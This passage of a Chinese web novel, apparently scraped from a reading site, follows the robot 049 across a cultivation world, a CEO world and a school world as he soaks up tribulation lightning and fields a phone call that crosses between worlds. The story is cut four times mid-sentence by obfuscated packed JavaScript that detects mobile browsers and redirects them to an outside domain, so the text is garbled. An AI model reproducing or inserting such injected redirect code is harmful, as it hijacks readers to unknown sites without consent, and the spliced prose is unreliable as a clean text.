由于这里是修仙背景的世界，这能量就直接以真元形式进入了049的身体。 而那道劈在单车上的天雷应该也并不是巧合，也许是它本身具有吸引天雷的特质。 049越想越高兴，那他的充电器不是真成法器了吗！ 引天雷而化真元，取之不尽，用之不竭。 ——这高低是个玄神级的法器呀！ 趁江珺没从魔族禁地回来，他要带着他的单车好好验证一下自己的想法。 于是他轻快地问薄高阳和封景澄：“你们最近有人要渡雷劫吗？” 这个修仙世界的设定稍有些不同。 并非是高阶修士破境才会有雷劫，而是从进入金丹期之后，每破一阶便都会迎来天雷淬炼。 薄高阳和封景澄对视了一眼，他们还都是筑基期的修士，自然没雷劫可渡。 但封景澄想了想，说：“我师兄是金丹初期，马上要破境了。雷劫应该就在这两日。” “我能去看看吗？”049迫不及待地问。 “……”封景澄犹豫了下，“待我下山问一下师兄，他应该不会介意。” “好。”049习惯性地说，“如果可以的话就打电话通知我。” 封景澄愣住了：“……打电话？那是什么？” 坏了。这里不是现代世界。 049赶紧试图补救。 他脑子飞速过了一圈，突然想到了一个很烂的谐音梗。 但是事到如今再烂也只能硬着头皮拿出来用了。 他说：“你可能有所不知，电画是一种新型传讯符。是在画像上注入雷电元素，只要你击打它就可开启——我们称之为打电画。” 049回屋环视了一下，只见上次打翻的裴熠彤的照片还躺在地上。 就是它了！对不起了裴总！ 049把它拾起来，将照片从相框里拿出来，然后在照片表面施上了一个简单的传讯法术。 接着在封景澄迷惑的眼神中，他把照片一撕两半，一半递给了封景澄。 “这就是……电画？”封景澄低头看着自己手中那一半奇怪的画像，画像上流动着淡蓝色的电光。电光之下，是一个短发男人冷冷的脸。 “开启的话，需要击打他……是这样吗？” 他犹豫地伸出手，拍打了一下画中男人的俊脸。 ——男人的冷脸看上去更不爽了。 与此同时，049手中另一半照片亮起了荧荧的光芒。 “对，就是这样使用的。”049假装司空见惯地说道，“等你师兄同意了，你就这样通知我。我们在山脚下钓鱼台见。” “好。”封景澄看起来接受了这个解释，把裴熠彤的照片揣进了储物灵袋里。 “还有，不要告诉他我是谁。”049最后叮嘱了一句。 封景澄知道他身份特殊，于是点头应允。 随后，他和薄高阳两个人便告辞下山了。 049一个人等待了一会儿。 惊尘峰的草木慢慢被晚霞染红，又渐渐被夜色吞没。 到了亥时，049手边的半截裴熠彤身子亮起了光。 049立刻唤来道童吩咐，说自己身体不适，先睡下了，不允许任何人打扰。 道童走后，他换上一身黑衣，戴上个面具，找了只上品储物灵袋将自己的动感单车装进去，牢牢系在腰间。 然后他披着夜色，御剑前往钓鱼台。 惊尘峰上的护山大阵微不可见地亮起一瞬，检测到049腰间的惊尘玉牌，又悄无声息地蛰伏下去。 钓鱼台边，封景澄茕茕独立，佩剑在月色下闪着光。 看见049后，他没有多语，领着049就快步而去：“师兄在横无崖，他已经快要破境了。” 横无崖在云山之巅。两个人到达的时候，只见一位青年正端坐悬崖之上，闭目打坐。 他的周身，满溢的真元映出融融的金光。 起初，如微微星光，渐渐地与明月争辉，随后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271012|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刹间，他爆发出如旭日一般的磅礴光亮。 于此同时，他们头顶上的圆月倏然一暗—— “师兄破境了！雷劫来了！” 封景澄高呼着提醒049。049迅速从灵袋里掏出动感单车摆好，蓄势以待。 封景澄的师兄紧紧地闭紧双目，运好护身法阵，等待雷劫的考验。 “噼啪——” 他听到第一声闪电劈下，正准备忍受雷电淬身之剧痛时—— 全身竟然一阵轻松。 怎么回事？他不禁睁眼一看。 只见离他不远处，一个神秘的黑衣面具人骑在一个奇怪的东西上。本该落在他身上的雷电竟径直劈在了黑衣人身上。 他还没来得及讶异，又是一道雷劫劈下，紧接着是第三道—— 就这样，金丹破境共十八道天雷，道道皆被黑衣人吸收。 ………… 师兄从未想过，自己的雷劫会渡得如此轻松顺利。 渡雷劫之人，痛苦如烈火焚身。有人甚至因无法忍过惨痛，当场道消身陨。 而此黑衣人，无法阵护身，替他挡下十八道天雷却仍悠然自适！ ——这是何方高人！ 等到雷云散去，师兄慌忙站起身来。 “多谢仙长相助！！”他朝那高人深深一拜。 “无事。”049模仿着江珺那种淡淡的语气，还真让他学出一点高人韵味。 ……如果不是他还跨在车上的话，大概看上去会更仙气飘飘。 “不知小修应该如何报答仙长相助？”师兄感激道。 “无需报答。”049悄悄运用了一下内置的文言文翻译器，高深莫测地说道，“汝之劫即吾之道。助汝渡劫，吾身飞升。” 师兄眼泪都要下来了：“仙长大义！” 他又向前一步，崇敬地看着这个神秘又好心的高人。 高人的一身黑衣融合在夜色中，黑发被崖上罡风扬起，只有一张银色的金属面具在月光下反射着冷冷的光芒。 “敢问仙长名讳。”他又是一揖。 049想着，也许师兄能够帮忙宣传宣传，以后更多的人渡雷劫都可以找自己了。 但是不能告诉他真名，不然江珺一定会追究。 于是，他想了想，返璞归真地糊弄道：“我的道号为——” “——机器道人。” “探尽玄机，天地为器！”师兄抚掌称赞，“机器道人，此道号妙啊！” 049：？ 不是，这都能夸啊！ 此时被师兄吹捧得一脸茫然的049没有想到，像是命运的种子被无心种下。 这个他随口编出来的名号，会在不久的以后，响彻整片大陆。 ——机器道人的传奇，就在这个春夜落下了第一笔。 12. 疑心 有了第一单生意以后，新鲜出炉的机器道人很快接到了第二单。 第二单就是封景澄的那位师兄介绍的。 那位师兄性格外向，交游甚广。有这样的奇遇，马上恨不得宣传给全天下知道。 大多数人将信将疑，觉得天下没有这等奇人和这等好事。 但还是有部分觉得自己渡劫无望的修士，想着死马当作活马医，于是寻求机器道人的帮助。 049从江珺给赠给他的一些法器宝物里找到一些高级传讯符，委托封景澄转交给那些客户。 客户即将渡劫的时候，只要捏碎传讯符，049就会知晓其位置，带着单车前往。 很快，机器道人一符难求。 049每次出现的时候，都着一身黑衣，戴着银色面具，隐藏修为。 猜测他身份的说法芸芸而起。 有人说他是出山的隐世大能，助人渡劫是在普济众生；有人说他是玩弄禁术的罪恶邪修，毕竟替人受劫的方法从未在任何一本正道法籍上记载过。 但没有一个人能猜到，神秘的机器道人就是前段时日他们嘲讽不屑的花瓶林肆玖。 唯一知晓林肆玖身份的只有薄高阳和封景澄。 薄高阳和049多年好友，自是保证守口如瓶。 而封景澄没有多说什么，只是抽出佩剑，在自己指尖划出口子，立下了一个血誓。 049觉得这个人类太实在了：“你不用这样的。” 封景澄却认真道：“这是应该的。” 虽然不知道林肆玖到底有何计划，但是封景澄愿意帮助他。 不为别的，为了赎自己宗门大比上的一剑之罪。 也为了记忆中那瓣落在童年木剑上的桃花。 * 在049的雷劫代劈事业风生水起的时候，在魔族地界的江珺的心情却不怎么美妙。 数日前，魔族邪修作乱，越界闯入人界。 各大正道宗门派出长老及弟子前去剿灭邪修。 这次出征竟出了奇的顺利。因为人人皆知有无渊仙尊江珺作首，自然士气大增。 在魔族退败的那一天，江珺站在界山之巅。 挟着血红砂粒的狂风从魔族地界卷来，吹起了无渊仙尊淡青色的衣摆。 身边的一位长老恭敬地看着他，目光掠过他手上正在擦拭的剑锋。 江珺的佩剑名叫浸山青，是一柄水系名剑。 据说该剑铸成于苍山绿水环绕之间。在铸成之日，江珺抽剑断水阻隔百尺飞瀑，剑身被山泉浸湿，照映出茫茫青山。 浸山青因此得名。 而此时，这柄名剑的剑锋之上浸着鲜红的血液，与剑身的薄绿映照，更显触目。 此征，江珺总共只出了两剑。 第一剑，他一道剑风斩杀两万三千邪修，兵不血刃。 而第二剑，他亲自用浸山青刺进了对方的身体。 就在刚刚，他们审问了被抓获的魔修领头人。 那魔修交代，此时他们大规模入境，其实是为了追捕从魔域逃往人界的魔尊之子。 “魔尊之子来人界做什么。”一个长老惊问。 魔修说，因魔族内乱，魔尊之子少年时期重伤流落人界，被人类平民收养。 后来魔尊寻回他时，他竟不愿离去。 魔尊便杀了平民一家，抹去了他的记忆，将他带回了魔族。 最近不知因为什么契机，魔尊之子竟恢复了这段记忆，擅自逃往人界了。 长老们一听，纷纷皱起眉头。心想难免再起事端。 只有原本一直漠然的江珺猛然抬眸，目光如寒刃般锐利。 “那家被魔尊所杀的平民，姓什么？” 他快步向前，紧盯那魔修，问了一个奇怪的问题。 长老们对视一眼，不知江珺何意——不是说那户人家早已被杀，为何还要问姓？ 那个浑身被禁魔绳束缚着、奄奄一息的魔修犹豫地回忆了半晌，含含糊糊地说： “好像姓……林。” 话音刚落，长老们就看到一向从容淡漠的无渊仙尊脸色忽然沉了下来。 他们不敢问，但是心里默默地琢磨。 姓林……？无渊仙尊的小道侣不是就姓林吗，难道这事和他有什么牵连……？ 江珺还并没有问完，他右手一抬，一缕墨色烟雾袅袅而起，在半空中幻出一幅男人的影像。 那个男人一头短发，身着古怪样式的黑衣，眼神阴鸷。 “认识他吗？”江珺用剑强迫性地抬起魔修的脸。 那魔修视线都模糊不清了，根本没看清影像中人的脸。只是看那短发式，知晓这一定也是个魔族人。 他昏沉的脑子转了一圈，联系刚刚的问话，决定为自己赌一把生路。 “……我认识！”他极力直起身，“他就是魔尊之子！如果你等不杀我，我可以帮你们去找……” 他的话戛然而止。 那把冰凉的、贴在他脸上的浸山青，倏然捅穿了他的身体。 他不可置信地抬头向上看，看见了江珺冰冷的目光。 周围鸦雀无声，谁也不知道无渊仙尊为何动怒了。 只能大气不敢出地看着他抽出剑，缓缓地擦拭着剑锋上的鲜血。 等浸山青重又恢复光洁时，江珺收剑入鞘。 他的声音也重新恢复了淡然平静。 “回程。”他说。 在听魔修叙述的那一瞬间，江珺已经把一切都连了起来。 那个收留魔尊之子的一定就是林肆玖一家。 而此时他出逃人间，如果又探听到了林肆玖幸存，会不会再去寻找他？ 林肆玖慌忙将画像藏在枕下的情景又浮现在他眼前。 不知道为何，江珺心中总隐隐有一丝怀疑。 也许，那个男人对林肆玖来说不仅仅是杀父仇人。 如果让049知道这件事情，049一定会大喊冤枉。 什么魔尊之子啊！那明明就是现代男子裴熠彤！ 而整件事情完全就是一个荒谬的误会。 《无情道仙尊杀妻证道后》小说的作者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271013|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有一个同世界观的作品，叫《与魔尊之子破镜重圆后》。 这本书讲述的是魔尊之子和人类的虐恋故事，而这本书小说的人类主角姓宁。 刚刚那个魔修并没有撒谎，但是他鼻音边音不分，愣是把姓宁说成了林。 导致江珺一下子把属于宁主角的故事张冠李戴到了049身上。 所以049温馨提示，请说普通话。 * 049听闻江珺要回来的消息，赶紧终止了机器道人的一切业务。 这段时间他吸收了不少雷电，体内的真元数量已经达到了金丹期水平。 但是为了在江珺面前假装柔弱，他把它们都打包压缩了起来，硬是把自己的修为压制在了原先的筑基期。 然后他又调整了一下脸部肤色的参数，把自己吃到好电后日益红润的脸颊饱和度降低，变成灰灰白白病恹恹的面色。 最后他躺在床上，盖上层层叠叠的被子，假装出有气无力的模样。 大功告成！ 等江珺回来的时候，掀开纱帘，就看到一个面色苍白、直挺挺躺在床上的林肆玖。 他不由得小吃一惊，道：“你怎么变成这样了？” 完了，好像有点用力过度，伪装过头了。049尴尬地坐了起来。 “生了什么病？”江珺皱着眉头，伸手过来要摸他的脉。 049慌不择路，在数据库里找了个词就回答：“相思成疾。” “……”江珺的手悬在半空。 半晌，他将手收了回去。淡淡道：“相思成疾。思念的是我吗？” “是啊。”049不知道他为什么这么问，但是回答是就对了。 难道这个无渊仙尊也是个在婚姻中没有安全感的人吗。 江珺放出神识，探查了一下林肆玖的修为。 和他离开的时候别无二致，看起来他是定期在服用温雪昙。 他也问过了道童，道童报告，他离开以后，林肆玖常常独自关在房间里面睡觉。 很乖。 表面上很乖。 他目前还没有寻找到他的破绽。 江珺低下头，看着努力摆出小鸟依人模样的林肆玖，指尖缓缓抚上了他的乌发。 ……但是他突然觉得触感有些不对。 从前，他的发丝都是柔顺光滑如锦缎，但今天伸手一摸，感觉毛躁了很多。 好像头发炸开过又重新梳直的样子。 江珺将信将疑地撩起他的一缕头发，难不成林肆玖真的相思成疾，相思到发质都变差了？ 乌发被撩起时，露出了林肆玖纤细的半截脖颈。 江珺无意中一瞥，却蓦然发现—— 林肆玖莹白的后颈上，赫然有一个殷红的痕迹。 像是有人曾在这里占有性地留下了标记。 他的手轻轻点过那里，看到林肆玖一脸莫名地回过头。 “林肆玖。”他平静地问，“在我不在的时候……” 指尖力道猛然加重。 “……有人来过这里吗？” 13. 打串世界的电话 “？”049一时没有反应过来。 难道薄高阳和封景澄上山来找他的事情被道童们告小状了？ 那还是老实回答吧。 “有。”他说，“他们只是来坐了一会儿。” “他们？”江珺敏锐道。居然还不止一个人吗。 他摩挲着049后颈处暧昧的印记：“那你这里的痕迹，是他们中的哪一个留下的？” 不是，这人类到底在那说什么呢？ 049再次感觉自己跟不上狗血文里人类的跳跃思维。 谁在自己脖子上留下痕迹了？难道自己半夜被蚊子咬了？ 那也不对啊，蚊子咬机器人干什么，尝尝他的新品机油吗。 没办法，049把自己这段时间做过的事情在脑子里快速重播了一遍，终于找到了江珺耿耿于怀的痕迹来源。 是一束雷电。 前几天，他接业务的时候出了一点小意外。 有一小道闪电不知怎么的，没有被他的动感单车所吸收，而是直接劈在了他的后颈上。 所幸力道并不大，没有把他的仿真皮肤烧坏，只是留下了一点点印迹。 结果江珺因为这个又开始莫名其妙疑神疑鬼说怪话了。 也许是这段时间修为上升了不少，049多少有了点底气。 他不想再烧他的cpu给多疑仙尊编理由，于是理直气壮地说：“我自己抠的。” 江珺看着049。 他的目光像要烧穿049的仿真肌肤、烧通他的金属内壳，再直直望到他的心里去。 然后不知为何，他忽然淡淡地笑了。 “好。”他说，然后他又换了个话题，“今天早点休息。明天我要带你去一个地方。” “什么地方？”049问。 “明天你就知道了。”江珺状似温柔地答道。 他径直离开了，留下一个高深莫测的背影。 又是谜语人。049的脑子又发烫了。 049的机器思维对付正常人已经很艰辛了，对付谜语人直接打结。 唉。真是太难了。 049心想，他还是找机会多吸收吸收天雷吧。 等到他有足够强的力量，他就可以彻底摆脱谜语人了。 到时候江珺再说莫名其妙的话，他就可以一道大招把他劈在墙上！劈得外焦内嫩！ 然后恶狠狠逼他：“给我说机器人能听得懂的人话！” 真好。 049的机器脑袋无师自通地生发出人类才会有的幻想功能，自己把自己哄得乐呵呵的。 也不怪049，因为在江珺面前的一分一秒，对他的cpu非常都不友好。 他突然开始有些怀念校园文那个世界了。 那个周围都是友善高中生的世界，至少那里没有谜语人。 也没有试图掌控监视他一举一动的人。 那里有的只是温柔的春日暖风，粼粼波动的静静河流，以及偏头看他时，目光小心翼翼的少年。 虽然049也不知道他同桌在小心翼翼什么。 难道是自己还是没有掌握交友技巧，看上去太不好相处了？ 那下次去校园世界的时候，多对同桌笑一笑吧。 * 而在校园文世界里，此时刚过晚上十点。 台灯的灯光下，喻星光正在奋笔疾书。笔尖在厚厚的练习卷上发出窸窸窣窣的细碎声响。 终于，最后一道题也画上了完美的句号。 黑笔盖啪地一声合上，喻星光长舒一口气，靠在了椅背上，把自己拉得长长的。 休息一下吧。 他满意地放空自己，望着桌面发了一会儿呆。 笔袋旁，有小小的东西一亮一亮地反光。喻星光伸手把它拿过来一看。 原来是回家脱下校服时，随手放在桌上的金属胸牌。 银色的胸牌上，刻着喻星光的名字和班级学号。 喻星光的目光在上面的学号上停留了一下。 049号。 那个同样叫林肆玖的新同学的脸庞忽然浮现在喻星光的脑海里。 一天相处下来，这个新同学在喻星光心里的形象相当的复杂。 第一眼看到他的时候，他明明看上去是一个安静娴和的优雅少年。 ……结果他马上用自己的惊人行为艺术把这个人设给创翻了。 你到底在用你漂亮的脸做什么啊！ ——坐在林肆玖身边，喻星光时常有这种欲哭无泪的感慨。 还有一个很微妙的感觉，喻星光总觉得林肆玖好像对一切事物都不是很熟悉。 不是指对新学校新环境的不熟悉，而是周围的一切事物。 包括林肆玖他自己的笔袋。 喻星光亲眼看着林肆玖把自己笔袋里的每支笔都掏出来写了写，然后捏着橡皮研究了一会儿，尝试用它擦黑笔未果后，又很新奇地掏出了修正带。 林肆玖摆弄了半天后没有搞清楚这玩意是怎么用的，反而把修正带的内芯拔出来一大团塞不回去了，在一边手忙脚乱。 喻星光假装背书实在假装不下去了，他叹了口气，放下书拿过了林肆玖手里的修正带。 “我帮你修。”他说。 “啊，谢谢你。”林肆玖露出了仿若荒岛上的野人星期五第一次看到鲁滨逊的表情。 喻星光在这样炽热的目光下手一抖，被拆开壳的修正带掉到了地上。 整卷修正带芯奔涌而出，像被奶牛猫拖着满屋跑的卫生纸，长长地纠缠了满地。 喻星光：“……” 林肆玖：“……” 半晌，喻星光拿出自己的修正带：“你用我的吧。” “不用……”林肆玖刚要拒绝，上课铃就响了。 喻星光干脆利落地把修正带往他手里一塞，低头收拾了满地狼藉，就坐直开始上课了。 林肆玖看他认真的样子，也就没好意思再退让。 其实貌似认真听课的喻星光，在走神。 他想着，林肆玖为什么好像第一次接触这些学习用品一样呢。 但他不知道的是，林肆玖不仅是第一次用这些东西。 他还第一次做学生。 第零次做人。 林肆玖真是一个神秘的人。喻星光琢磨了半天，这么总结道。 回过神来，喻星光开始整理今天的试卷，把它们一张张收纳到文件夹里。 收了一半，他突然停住了。 有一张试卷的字迹跟他不一样。应该是不小心混到他的试卷里来了。 这是一张语文小测试卷，试卷上的字迹非常的板正，简直像用机器印刷出来的一样。 但仔细一看，喻星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271014|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光替语文老师眼前一黑。 这张试卷的阅读理解是某年高考题原题，最后一题是“请赏析文章结尾：本该在锅里的鱼，竟然跳出锅，眼里闪着一丝诡异的光。” 正确答案应该是，诡异的光体现了作者一家人对生活的不满与无奈，渴望摆脱当前生活。 但此人写的是，诡异的光可能因为某些硬骨鱼的视网膜后有一层特殊的照膜。 照膜能将透过视网膜的一部分光线重新反射到视网膜上，部分反射出去的光线被人眼看到，就像发光一样。 喻星光：………… 不是，您这阅读理解至少写点人类的情感吧！ 真是生物老师看了流泪，语文老师看了沉默。 看到这样熟悉的人机风味答案，喻星光已经预感到这是谁的卷子了。 他翻开卷折的试卷左上角，只见上面方方正正地写着：049。 应该是林肆玖为了省事写的谐音数字，但发试卷的同学以为是049号喻星光的卷子，于是放在了喻星光的桌上。 这张卷子明天还要检查订正，还是赶紧还给林肆玖吧。 幸好今天放学前找林肆玖要了手机号码。 喻星光从校服口袋里翻出林肆玖给他写号码的纸条，输进了手机里。 很奇怪，输入的号码下显示的是未知属地。 但是喻星光没有多想。他握着手机，不知为什么有一点紧张。 但是秉着帮助同学的信念，他呼了口气，最终按下了拨号键。 嘟……嘟……嘟…… “您拨打的号码无人接听，请稍后再拨。” 机械的女声响起，林肆玖的电话没有接通。 ……是静音了吗？喻星光想着。 有时候不想让垃圾消息提示音打扰自己学习，他也会静音。 要不再打一遍吧。 他犹豫了一下，再次拨打了过去。 这次电话被接通了。 “喂，请问是林肆玖吗？”喻星光问。 “……”电话那头沉默了一下。 “你是谁？找林肆玖干什么？”片刻之后，电话那头传来回应，但声音并不是林肆玖的。 那是一个低沉的、有磁性的成熟男声。语气听上去并不太好，还带着上位者的压迫感。 喻星光：“？” 他琢磨了一下。听回答，这个人确实是认识林肆玖的，还接了他的电话。 那么一定是林肆玖的家人吧。听声音比较成熟，大概是林肆玖的爸爸。 于是他彬彬有礼地问好道：“叔叔您好，请问您是林肆玖的爸爸吗？我是他的同学。” “…………” 不知为何，电话那头沉默了很久。 霸总世界。 裴熠彤快把林肆玖的手机捏碎了，脸色非常难看。 ……谁是叔叔啊！谁是林肆玖的爸爸啊！我是他的…… 他很想朝对面那个冒昧的人吼回去，但一时又卡壳了。 我是林肆玖的什么？ 男朋友？林肆玖配不上。金主？太恶俗。 裴总难得噎住，愤怒地准备狠狠地挂掉这个自称是林肆玖同学的电话。 这时，在旁边睡得死死的林肆玖突然睁开了眼睛。 他跳起来，一把夺过了裴熠彤手里的手机。 裴熠彤：“？” 14. 我不认识他 049第一次经历这样的事故。 他本来还在仙尊世界待的好好的。那时江珺刚刚离开，留他一个人在房间里。 他正准备切换到校园世界去放松一下，突然眼前的世界整个扭曲起来。 【紧急情况！请尽快返回任务一世界处理！】 一个血红色的警示窗在半空疯狂闪烁着。 下一秒，049就被拽回了霸总世界。 一睁眼，裴熠彤正站在他的床边，拿着他的手机。 049还没来得及思考，只是本能感觉不好。于是一个鲤鱼打挺，跳起来就抢走了手机。 裴熠彤吓了一跳，手僵在原地，脸色看上去更黑了。 这时候，电话那头传来了小心试探的声音：“喂……您好，请问还在吗？” 049一听，这不是喻星光的声音吗？！ 他的机器脑袋卡住了。 等一下，为什么校园世界的电话会打到霸总世界来啊！ 这种世界串线的感觉太过诡异，一想到刚刚是裴熠彤和喻星光在对话…… 就有种小红帽敲开门，结果门里的不是狼外婆，而是伏地魔的感觉。 049在混乱中努力回忆了一下。 在校园世界的那个下午，喻星光说为了方便联系，问了他手机号码。 可是他在校园世界根本没有手机，于是情急之下，给了喻星光霸总世界自己的号码。 没想到这真能打通啊！ “你好，我在。”049只好硬着头皮开了口，“你怎么给我打电话啦？” 喻星光听到了林肆玖的声音，以为是林肆玖的爸爸终于把电话转交过去了。 他松了口气，解释道：“你的语文试卷夹在我的文件夹里了，需要我现在还给你吗？” 049刚想回答他，就看见裴熠彤在旁边抱着臂，冷着脸竖着耳朵在听。 “稍等一下。”049对喻星光说。 然后他一只手把手机拿的远了些，另一只手抵着裴熠彤的胳膊把他往外推。 “我在打电话，你先可以出去吗？”049压低声音说道。 他实在担心裴熠彤听到什么不该听的。 他还在仙尊世界的时候，裴熠彤接了他的电话。这已经是很危险的失误了。 如果裴熠彤再发现什么关于其他世界的端倪，就更不好解释了。 “你有什么要瞒着我的事情吗。”裴熠彤很不爽，脚下生了根一样站在原地。 奈何049在仙尊世界吃天雷吃的太好，现在他力大无穷。 他无视裴熠彤的拒绝，弯下腰，单手拔起裴熠彤就给他移到了门外，然后关上了门。 留裴熠彤在门外瞳孔地震。 “好啦。”049重又把手机放在了耳边。 喻星光模模糊糊听到一点对面两人的对话，以为是林肆玖的爸爸干涉他社交，于是安慰道：“刚刚是你爸爸吗？我爸妈也总是好奇我在跟谁打电话，家长都会这样的。” “？”049突然喜提活爹，“我爸爸……？” 难怪裴熠彤刚刚脸色那么难看。 反应过来之后，049瞬间体会到了人类幸灾乐祸的感觉。 “……他老是管得太严。”他顺着往下说，“他刚刚没跟你说什么不好的吧？” “没有没有。”喻星光赶紧说。 “那就好。”049放心了，“语文试卷先放你那边吧，等到上学我再拿回来。” “好的。”喻星光想起什么，“对了，忘记拉你进班级群了。我把群号发给你，你有空的话可以进来呀。” 班级群是什么？ 049很想问，但是怕显得他太没见过世面，于是假装淡然道：“好的。” 喻星光怕自己占用时间太长了：“那好，那就不打扰你了。” 他顿了一下，然后说道：“明天见。” “明天见！”049说出这三个字的时候感觉很新奇。 这三个字说出口，就有种莫名的期盼感。 对明天的期盼，或者是对见到一个人的期盼。 他从来没体会过这样的感觉。 去新的世界果然能让自己学习到更多呢，049心想。 不过眼下，还得先把霸总世界的事情处理好。 049走过去打开门，想去找裴熠彤解释一下。 没想到门一打开，就看到一个人影堵在门口。 裴熠彤一个踉跄，直接跌了进来。 049快速闪身，才没有跟他撞个满怀。 “……” 049侧过头，难以置信地看着裴熠彤。 不是吧，裴熠彤不会试图贴在门上偷听吧。 霸总，你会为了替身干出这种低级的事情吗？真的没有崩人设吗？ 裴熠彤站直身子，看上去恼羞成怒。 “……不准去找什么同学。”他莫名其妙地发脾气道，“你就给我呆在这里，哪里都不准去！” 说完他就拂袖而去，背影又恢复了霸总该有的威严。 “？”049看着他的背影，一阵无语。 “？”闻声而来的管家也无语。 裴熠彤不是之前吩咐他，让他叫林肆玖回学校去吗，怎么现在又出尔反尔了。 管家抬头，看了一下摆在走廊尽头的落地古典大钟。 一会儿和温秋亭约定好的时间就要到了，温秋亭很快就会过来。 不过他并不打算提醒裴熠彤。 他乐得看白月光和替身相见的热闹画面。 ——这就是他的目的。 管家嘴角上扬了两度，悄悄地退了下去，隐入了拐角的黑暗之中。 “叮咚。”手里的手机传来消息提示音。049低下头查看了一下。 是喻星光发来的信息，是一串数字，并补充了这是班级扣扣群的号码。 049搜索了一下什么是扣扣，发现是一个聊天软件。 他很新奇地下载了软件，注册了新账号。 软件提示他，请设置一个自己的个性头像。 个性头像？049想了想，大概就是自己的自拍吧。于是他打开了手机的摄像头。 一分钟后。 景城一中高二五班的班级群里进来一个新成员。 新成员：「大家好。」 群里刚刚还在聊天的同学们此时突然都沉默了下来。 没有人会疑惑这个新成员的身份，因为他的头像明晃晃的就是本人的自拍。 ……自拍也就算了，但为什么是这个奇怪的死亡角度啊！ 049第一次自拍，还在摸索之中。 他低着头拿着手机，把脸凑近屏幕，表情严肃。 标准的中年大叔仰拍角度，整个屏幕里占满了049一张硕大无朋的脸。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271015|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也就是049长的好看，大家竟然能从这个死亡角度看出一丝美感。 但还是那句话—— 林肆玖你到底在用你漂亮的脸做什么啊！ 049倒是浑然不觉，他正很新鲜地到处加人。 第一个加喻星光，然后加应琸，接着加一下牧风羽吧…… 有这种软件真方便啊！ 加了一堆人之后049喜滋滋地想，有什么事情就可以快速联系了。 他突然想起来，之前管家先生居然还用原始的写信方法给他传递消息，实在是太落后了。 自己应该把这个软件也介绍给管家才对。 于是他很热心地离开房间，准备下楼去找管家。 * 那边，裴熠彤终于冷静了下来。 可恶，自己怎么又因为林肆玖生气了？甚至还不顾形象地在他门口偷听？ 这个替身的交际到底有什么值得他关心的？ ……等等，替身？ 裴熠彤终于想起来，马上正主温秋亭就要过来了。 他现在把林肆玖赶出去还来得及吗？ 可惜他刚想要叫管家，电话就响了。 电话那头，温秋亭柔和的声音传来：“熠彤，我已经到你家大门前了。” 来不及了。 裴熠彤把微笑着的温秋亭请到客厅坐下的时候，心里只有一个想法。 林肆玖可千万不要突然从楼上下来啊。 他悄悄朝管家使了个眼色，想让管家上楼看着林肆玖。 结果管家就跟瞎了一样，裴熠彤的眼睛都快挤抽筋了，管家依然不为所动。 等温秋亭一走，马上就让管家滚蛋。 裴熠彤在心里愤怒地决定。 而坐在沙发上的温秋亭微微地环视了一下整个房子，没有看到其他人在。 他有些不好意思地对裴熠彤道：“今天来拜访，其实是有一个有点冒昧的事情。” “什么？”裴熠彤回过心神，认真凝视着温秋亭道，“有什么需要我的事情，我一定做到。” “那个……”温秋亭说，“我听说你有个关系很好的朋友，可以介绍给我认识一下吗？” 他想认识别人？ 裴熠彤心里酸了一下，但面上还是不变，问道：“是哪个朋友？” 然后他就看到温秋亭漂亮的嘴唇张合着，吐出了一个他意料不到的名字： “林肆玖。” “………………” 那一刹那，裴熠彤的脑子里闪现出无限问题。 圈子里的人惧于他的权势，应该都不敢告密，到底是谁告诉温秋亭了？ 温秋亭今天来要结交林肆玖，到底又是什么意图？ 还有他说“关系很好的朋友”，到底是真的这么认为，还是在讽刺？ ………… 无数问题在他心中盘桓，又支离出无数的可能。 最后，在温秋亭清澈的眼神之中，他只能干瘪地试图挣扎： “我不认识他。” 然后下一秒，林肆玖高兴的声音就从楼上传来： “管家先生，你也下载一个扣扣吧！” ………… 那一刻，世界就像开了慢镜头一样。 在凝固的时间中，一切都来不及阻止。 裴熠彤眼睁睁地看着温秋亭抬起头，和林肆玖对上了视线。 15. 哥哥 闻声望去的温秋亭：“？” 热心下楼找管家的049：“？” 当场被揭穿谎言的裴熠彤：“？” 